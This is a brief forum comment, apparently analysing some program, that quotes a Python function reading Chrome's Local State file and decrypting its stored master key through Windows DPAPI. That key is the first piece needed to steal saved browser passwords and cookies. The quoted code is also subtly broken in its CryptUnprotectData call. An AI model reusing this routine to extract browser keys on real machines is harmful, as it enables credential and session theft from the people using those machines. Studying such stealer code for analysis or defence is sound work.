[hchasestevens]

It appears to be:

  def master():
      try:
          with open(os.environ['USERPROFILE'] + os.sep + 
  r'AppData\Local\Google\Chrome\User Data\Local State',
                    "r", encoding='utf-8') as f:
              local_state = f.read()
              local_state = json.loads(local_state)
      except:
          pass
      master_key = base64.b64decode(local_state["os_crypt"] 
 ["encrypted_key"])
      master_key = master_key[5:]
      master_key = 
  ctypes.windll.crypt32.CryptUnprotectData(
          (master_key, None, None, None, 0)[1])
      return master_key